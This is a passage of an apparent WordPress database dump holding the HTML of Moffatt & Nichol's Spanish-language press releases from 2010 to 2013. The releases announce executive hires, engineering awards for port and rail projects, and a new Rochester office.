operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-13','','','2013-11-14 00:41:41','2013-11-14 00:41:41','',1399,'http://moffattnichol.com/spanish/1399-revision-13/',0,'revision','',0),(2801,1,'2013-11-14 22:15:05','2013-11-14 22:15:05','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Jefa de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en 